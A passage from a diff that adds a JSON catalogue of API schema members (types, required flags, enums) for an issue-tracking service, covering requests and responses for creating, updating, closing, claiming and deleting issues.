"member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "key", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ApplyCreateItem", + "member": "metadata", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "ApplyCreateItem", + "member": "metadata_refs", + "type": "object", + "required": false, + "additional_props_type": "object" + }, + { + "schema": "ApplyCreateItem", + "member": "no_history", + "type": "boolean", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "priority", + "type": "integer", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "sender", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "ApplyDepAddItem", + "member": "metadata", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "ApplyDepAddItem", + "member": "source", + "type": "object", + "required": true + }, + { + "schema": "ApplyDepAddItem", + "member": "target", + "type": "object", + "required": true + }, + { + "schema": "ApplyDepAddItem", + "member": "type", + "type": "string", + "required": true + }, + { + "schema": "ApplyItem", + "member": "close", + "type": "object", + "required": false + }, + { + "schema": "ApplyItem", + "member": "create", + "type": "object", + "required": false + }, + { + "schema": "ApplyItem", + "member": "dep_add", + "type": "object", + "required": false + }, + { + "schema": "ApplyItem", + "member": "kind", + "type": "string", + "enum": [ + "close", + "create", + "dep_add", + "update" + ], + "required": true + }, + { + "schema": "ApplyItem", + "member": "update", + "type": "object", + "required": false + }, + { + "schema": "ApplyItemResult", + "member": "changed", + "type": "boolean", + "required": true + }, + { + "schema": "ApplyItemResult", + "member": "depends_on_id", + "type": "string", + "required": false + }, + { + "schema": "ApplyItemResult", + "member": "issue_id", + "type": "string", + "required": true + }, + { + "schema": "ApplyItemResult", + "member": "kind", + "type": "string", + "enum": [ + "close", + "create", + "dep_add", + "update" + ], + "required": true + }, + { + "schema": "ApplyItemResult", + "member": "revision", + "type": "string", + "required": true + }, + { + "schema": "ApplyLabelPatch", + "member": "add", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ApplyLabelPatch", + "member": "remove", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ApplyLabelPatch", + "member": "replace", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ApplyMetadataPatch", + "member": "merge", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "ApplyMetadataPatch", + "member": "replace", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "ApplyMetadataPatch", + "member": "set", + "type": "object", + "required": false + }, + { + "schema": "ApplyMetadataPatch", + "member": "unset", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ApplyPatchBody", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "append_notes", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false, + "nullable": true + }, + { + "schema": "ApplyPatchBody", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false, + "nullable": true + }, + { + "schema": "ApplyPatchBody", + "member": "estimated_minutes", + "type": "integer", + "required": false, + "nullable": true + }, + { + "schema": "ApplyPatchBody", + "member": "external_ref", + "type": "string", + "required": false, + "nullable": true + }, + { + "schema": "ApplyPatchBody", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "labels", + "type": "object", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "metadata", + "type": "object", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "priority", + "type": "integer", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "ApplyPatchBody", + "member": "title", + "type": "string", + "required": false + }, + { + "schema": "ApplyUpdateItem", + "member": "expected_assignee", + "type": "string", + "required": false + }, + { + "schema": "ApplyUpdateItem", + "member": "expected_status", + "type": "string", + "required": false + }, + { + "schema": "ApplyUpdateItem", + "member": "expected_version", + "type": "string", + "required": false + }, + { + "schema": "ApplyUpdateItem", + "member": "force_assignee_transfer", + "type": "boolean", + "required": false + }, + { + "schema": "ApplyUpdateItem", + "member": "force_close_policy", + "type": "boolean", + "required": false + }, + { + "schema": "ApplyUpdateItem", + "member": "force_notes_overwrite", + "type": "boolean", + "required": false + }, + { + "schema": "ApplyUpdateItem", + "member": "patch", + "type": "object", + "required": true + }, + { + "schema": "ApplyUpdateItem", + "member": "target", + "type": "object", + "required": true + }, + { + "schema": "BatchCloseItem", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "BatchCloseItem", + "member": "reason", + "type": "string", + "required": false + }, + { + "schema": "BatchCloseRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "BatchCloseRequest", + "member": "force", + "type": "boolean", + "required": false + }, + { + "schema": "BatchCloseRequest", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "BatchCloseRequest", + "member": "session", + "type": "string", + "required": false + }, + { + "schema": "BatchCloseResponse", + "member": "outcomes", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "BatchCreateDependency", + "member": "target_id", + "type": "string", + "required": true + }, + { + "schema": "BatchCreateDependency", + "member": "type", + "type": "string", + "required": true + }, + { + "schema": "BatchCreateItem", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "BatchCreateItem", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "BatchCreateItem", + "member": "dependencies", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "BatchCreateItem", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "BatchCreateItem", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "BatchCreateItem", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "BatchCreateItem", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "BatchCreateItem", + "member": "priority", + "type": "integer", + "required": false + }, + { + "schema": "BatchCreateItem", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "BatchCreateRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "BatchCreateRequest", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "BatchCreateResponse", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "Blocker", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "Blocker", + "member": "kind", + "type": "string", + "required": true + }, + { + "schema": "Blocker", + "member": "type", + "type": "string", + "required": false + }, + { + "schema": "BlockingAnnotations", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "BondRef", + "member": "bond_point", + "type": "string", + "required": false + }, + { + "schema": "BondRef", + "member": "bond_type", + "type": "string", + "required": true + }, + { + "schema": "BondRef", + "member": "source_id", + "type": "string", + "required": true + }, + { + "schema": "ClaimNextRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "ClaimNextResponse", + "member": "claimed", + "type": "object", + "required": false + }, + { + "schema": "ClaimRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "ClaimResponse", + "member": "already_claimed", + "type": "boolean", + "required": true + }, + { + "schema": "ClaimResponse", + "member": "issue", + "type": "object", + "required": true + }, + { + "schema": "CloseIssueRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "CloseIssueRequest", + "member": "expected_version", + "type": "string", + "required": false + }, + { + "schema": "CloseIssueRequest", + "member": "force", + "type": "boolean", + "required": false + }, + { + "schema": "CloseIssueRequest", + "member": "reason", + "type": "string", + "required": false + }, + { + "schema": "CloseIssueRequest", + "member": "session", + "type": "string", + "required": false + }, + { + "schema": "CloseIssueResponse", + "member": "already_closed", + "type": "boolean", + "required": true + }, + { + "schema": "CloseIssueResponse", + "member": "issue", + "type": "object", + "required": true + }, + { + "schema": "CloseIssueResponse", + "member": "open_children", + "type": "integer", + "required": true + }, + { + "schema": "CloseIssueResponse", + "member": "revision", + "type": "string", + "required": true + }, + { + "schema": "CloseOutcome", + "member": "already_closed", + "type": "boolean", + "required": false + }, + { + "schema": "CloseOutcome", + "member": "blockers", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "CloseOutcome", + "member": "code", + "type": "string", + "required": false + }, + { + "schema": "CloseOutcome", + "member": "detail", + "type": "string", + "required": false + }, + { + "schema": "CloseOutcome", + "member": "issue", + "type": "object", + "required": false + }, + { + "schema": "CloseOutcome", + "member": "issue_id", + "type": "string", + "required": true + }, + { + "schema": "CloseOutcome", + "member": "open_children", + "type": "integer", + "required": false + }, + { + "schema": "Comment", + "member": "author", + "type": "string", + "required": true + }, + { + "schema": "Comment", + "member": "created_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "Comment", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "Comment", + "member": "issue_id", + "type": "string", + "required": true + }, + { + "schema": "Comment", + "member": "text", + "type": "string", + "required": true + }, + { + "schema": "CompareAndSetMetadataRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "CompareAndSetMetadataRequest", + "member": "expected", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "CompareAndSetMetadataRequest", + "member": "key", + "type": "string", + "required": true + }, + { + "schema": "CompareAndSetMetadataRequest", + "member": "value", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "CompareAndSetMetadataResponse", + "member": "current", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "CompareAndSetMetadataResponse", + "member": "swapped", + "type": "boolean", + "required": true + }, + { + "schema": "ContextResponse", + "member": "api_version", + "type": "string", + "required": true + }, + { + "schema": "ContextResponse", + "member": "backend", + "type": "string", + "required": true + }, + { + "schema": "ContextResponse", + "member": "bd_version", + "type": "string", + "required": true + }, + { + "schema": "ContextResponse", + "member": "beads_dir", + "type": "string", + "required": false + }, + { + "schema": "ContextResponse", + "member": "capabilities", + "type": "array", + "required": true, + "item_type": "string" + }, + { + "schema": "ContextResponse", + "member": "database", + "type": "string", + "required": true + }, + { + "schema": "ContextResponse", + "member": "dolt_mode", + "type": "string", + "required": true + }, + { + "schema": "ContextResponse", + "member": "min_client_wire_revision", + "type": "integer", + "required": true + }, + { + "schema": "ContextResponse", + "member": "project_id", + "type": "string", + "required": true + }, + { + "schema": "ContextResponse", + "member": "repo_root", + "type": "string", + "required": false + }, + { + "schema": "ContextResponse", + "member": "schema_version", + "type": "integer", + "required": true + }, + { + "schema": "ContextResponse", + "member": "wire_revision", + "type": "integer", + "required": true + }, + { + "schema": "CreateIssueDependency", + "member": "metadata", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "CreateIssueDependency", + "member": "reverse", + "type": "boolean", + "required": false + }, + { + "schema": "CreateIssueDependency", + "member": "target_id", + "type": "string", + "required": true + }, + { + "schema": "CreateIssueDependency", + "member": "type", + "type": "string", + "required": true + }, + { + "schema": "CreateIssueRequest", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "CreateIssueRequest", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "dependencies", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "CreateIssueRequest", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "ephemeral", + "type": "boolean", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "estimated_minutes", + "type": "integer", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "external_ref", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "force_id_prefix", + "type": "boolean", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "id", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "inherit_labels_from_parent", + "type": "boolean", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "CreateIssueRequest", + "member": "metadata", + "type": "", + "required": false, + "nullable": true + }, + { + "schema": "CreateIssueRequest", + "member": "no_history", + "type": "boolean", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "parent_id", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "priority", + "type": "integer", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "sender", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueRequest", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "CreateIssueRequest", + "member": "waits_for", + "type": "object", + "required": false + }, + { + "schema": "CreateIssueWaitsFor", + "member": "gate", + "type": "string", + "required": false + }, + { + "schema": "CreateIssueWaitsFor", + "member": "spawner_id", + "type": "string", + "required": true + }, + { + "schema": "Cycle", + "member": "members", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "Cycle", + "member": "partial", + "type": "boolean", + "required": true + }, + { + "schema": "CycleMember", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "CycleMember", + "member": "issue", + "type": "object", + "required": false + }, + { + "schema": "CyclesPage", + "member": "has_more", + "type": "boolean", + "required": true + }, + { + "schema": "CyclesPage", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "DeleteIssuesRequest", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "DeleteIssuesRequest", + "member": "cascade", + "type": "boolean", + "required": false + }, + { + "schema": "DeleteIssuesRequest", + "member": "dry_run", + "type": "boolean", + "required": false + }, + { + "schema": "DeleteIssuesRequest", + "member": "expected_version", + "type": "string", + "required": false + }, + { + "schema": "DeleteIssuesRequest", + "member": "force", + "type": "boolean", + "required": false + }, + { + "schema": "DeleteIssuesRequest", + "member": "ids", + "type": "array", + "required": true, + "item_type": "string" + }, + { + "schema": "DeleteIssuesResult", + "member": "deleted", + "type": "integer", + "required": true + }, + { + "schema": "DeleteIssuesResult", + "member": "dependencies", + "type": "integer", + "required": true + }, + { + "schema": "DeleteIssuesResult", + "member": "dry_run", + "type": "boolean", + "required": true + }, + { + "schema": "DeleteIssuesResult", + "member": "events", + "type": "integer", + "required": true + }, + { + "schema": "DeleteIssuesResult", + "member": "labels", + "type": "integer", + "required": true + }, + { + "schema": "DeleteIssuesResult", + "member": "orphaned", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "DeleteIssuesResult", + "member": "references_updated", + "type": "integer", + "required": true + }, + { + "schema": "Dependency", + "member": "created_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "Dependency", + "member": "created_by", + "type": "string", + "required": false + }, + { + "schema": "Dependency", + "member": "depends_on_id", + "type": "string", + "required": true + }, + { + "schema": "Dependency", + "member": "id", + "type": "string", + "required": false + }, + { + "schema": "Dependency", + "member": "issue_id", + "type": "string", + "required": true + }, + { + "schema": "Dependency", + "member": "metadata", + "type": "string", + "required": false + }, + { + "schema": "Dependency", + "member": "thread_id", + "type": "string", + "required": false + }, + { + "schema": "Dependency", + "member": "type", + "type": "string", + "required": true + }, + { + "schema": "DependencyEdge", + "member": "depends_on_id", + "type": "string", + "required": true + }, + { + "schema": "DependencyEdge", + "member": "issue_id", + "type": "string", + "required": true + }, + { + "schema": "DependencyEdge", + "member": "type", + "type": "string", + "required": true + }, + { + "schema": "DependencyEdges", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "DependencyEdges", + "member": "missing", + "type": "array", + "required": true, + "item_type": "string" + }, + { + "schema": "DependencyTreePage", + "member": "has_more", + "type": "boolean", + "required": true + }, + { + "schema": "DependencyTreePage", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "EdgeCounts", + "member": "anchors", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "EventRecord", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "EventRecord", + "member": "comment", + "type": "object", + "required": false + }, + { + "schema": "EventRecord", + "member": "dep", + "type": "object", + "required": false + }, + { + "schema": "EventRecord", + "member": "issue", + "type": "object", + "required": true, + "nullable": true + }, + { + "schema": "EventRecord", + "member": "issue_id", + "type": "string", + "required": true + }, + { + "schema": "EventRecord", + "member": "op", + "type": "string", + "required": true + }, + { + "schema": "EventRecord", + "member": "seq", + "type": "integer", + "format": "int64", + "required": true + }, + { + "schema": "EventRecord", + "member": "ts", + "type": "string", + "required": true + }, + { + "schema": "EventsPage", + "member": "head", + "type": "integer", + "format": "int64", + "required": true + }, + { + "schema": "EventsPage", + "member": "records", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "Health", + "member": "status", + "type": "string", + "enum": [ + "ok" + ], + "required": true + }, + { + "schema": "Issue", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "await_id", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "await_type", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "bonded_from", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "Issue", + "member": "close_reason", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "closed_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "Issue", + "member": "closed_by_session", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "comments", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "Issue", + "member": "compacted_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "Issue", + "member": "compacted_at_commit", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "compaction_level", + "type": "integer", + "required": false + }, + { + "schema": "Issue", + "member": "created_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "Issue", + "member": "created_by", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "Issue", + "member": "dependencies", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "Issue", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "Issue", + "member": "ephemeral", + "type": "boolean", + "required": false + }, + { + "schema": "Issue", + "member": "estimated_minutes", + "type": "integer", + "required": false + }, + { + "schema": "Issue", + "member": "event_kind", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "external_ref", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "heartbeat_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "Issue", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "Issue", + "member": "is_blocked", + "type": "boolean", + "required": false + }, + { + "schema": "Issue", + "member": "is_template", + "type": "boolean", + "required": false + }, + { + "schema": "Issue", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "Issue", + "member": "lease_expires_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "Issue", + "member": "lease_granted_node", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "metadata", + "type": "object", + "required": false + }, + { + "schema": "Issue", + "member": "mol_type", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "no_history", + "type": "boolean", + "required": false + }, + { + "schema": "Issue", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "original_size", + "type": "integer", + "required": false + }, + { + "schema": "Issue", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "payload", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "pinned", + "type": "boolean", + "required": false + }, + { + "schema": "Issue", + "member": "priority", + "type": "integer", + "required": true + }, + { + "schema": "Issue", + "member": "sender", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "source_formula", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "source_location", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "source_system", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "spec_id", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "started_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "Issue", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "storage_class", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "target", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "timeout", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "Issue", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "Issue", + "member": "updated_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "Issue", + "member": "waiters", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "Issue", + "member": "wisp_type", + "type": "string", + "required": false + }, + { + "schema": "Issue", + "member": "work_type", + "type": "string", + "required": false + }, + { + "schema": "IssueBlocking", + "member": "blocked_by", + "type": "array", + "required": true, + "item_type": "string" + }, + { + "schema": "IssueBlocking", + "member": "blocks", + "type": "array", + "required": true, + "item_type": "string" + }, + { + "schema": "IssueBlocking", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "IssueBlocking", + "member": "parent", + "type": "string", + "required": false + }, + { + "schema": "IssueCount", + "member": "groups", + "type": "object", + "required": false, + "additional_props_type": "integer" + }, + { + "schema": "IssueCount", + "member": "total", + "type": "integer", + "format": "int64", + "required": true + }, + { + "schema": "IssueDetails", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "await_id", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "await_type", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "bonded_from", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueDetails", + "member": "close_reason", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "closed_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueDetails", + "member": "closed_by_session", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "comment_count", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "IssueDetails", + "member": "comments", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueDetails", + "member": "comments_omitted", + "type": "boolean", + "required": false + }, + { + "schema": "IssueDetails", + "member": "compacted_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueDetails", + "member": "compacted_at_commit", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "compaction_level", + "type": "integer", + "required": false + }, + { + "schema": "IssueDetails", + "member": "created_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "IssueDetails", + "member": "created_by", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueDetails", + "member": "dependencies", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueDetails", + "member": "dependency_count", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "IssueDetails", + "member": "dependent_count", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "IssueDetails", + "member": "dependents", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "IssueDetails", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueDetails", + "member": "ephemeral", + "type": "boolean", + "required": false + }, + { + "schema": "IssueDetails", + "member": "epic_closeable", + "type": "boolean", + "required": false + }, + { + "schema": "IssueDetails", + "member": "epic_closed_children", + "type": "integer", + "required": false + }, + { + "schema": "IssueDetails", + "member": "epic_total_children", + "type": "integer", + "required": false + }, + { + "schema": "IssueDetails", + "member": "estimated_minutes", + "type": "integer", + "required": false + }, + { + "schema": "IssueDetails", + "member": "event_kind", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "external_ref", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "heartbeat_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueDetails", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "IssueDetails", + "member": "is_blocked", + "type": "boolean", + "required": false + }, + { + "schema": "IssueDetails", + "member": "is_template", + "type": "boolean", + "required": false + }, + { + "schema": "IssueDetails", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssueDetails", + "member": "lease_expires_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueDetails", + "member": "lease_granted_node", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "metadata", + "type": "object", + "required": false + }, + { + "schema": "IssueDetails", + "member": "mol_type", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "no_history", + "type": "boolean", + "required": false + }, + { + "schema": "IssueDetails", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "original_size", + "type": "integer", + "required": false + }, + { + "schema": "IssueDetails", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "parent", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "payload", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "pinned", + "type": "boolean", + "required": false + }, + { + "schema": "IssueDetails", + "member": "priority", + "type": "integer", + "required": true + }, + { + "schema": "IssueDetails", + "member": "revision", + "type": "string", + "required": true + }, + { + "schema": "IssueDetails", + "member": "sender", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "source_formula", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "source_location", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "source_system", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "spec_id", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "started_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "IssueDetails", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "storage_class", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "target", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "timeout", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "IssueDetails", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "IssueDetails", + "member": "unresolvable_dependencies", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "IssueDetails", + "member": "unresolvable_dependents", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "IssueDetails", + "member": "updated_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "IssueDetails", + "member": "waiters", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssueDetails", + "member": "wisp_type", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails", + "member": "work_type", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "add_labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "IssuePatchBody", + "member": "append_notes", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false, + "nullable": true + }, + { + "schema": "IssuePatchBody", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false, + "nullable": true + }, + { + "schema": "IssuePatchBody", + "member": "estimated_minutes", + "type": "integer", + "required": false, + "nullable": true + }, + { + "schema": "IssuePatchBody", + "member": "external_ref", + "type": "string", + "required": false, + "nullable": true + }, + { + "schema": "IssuePatchBody", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "IssuePatchBody", + "member": "labels", 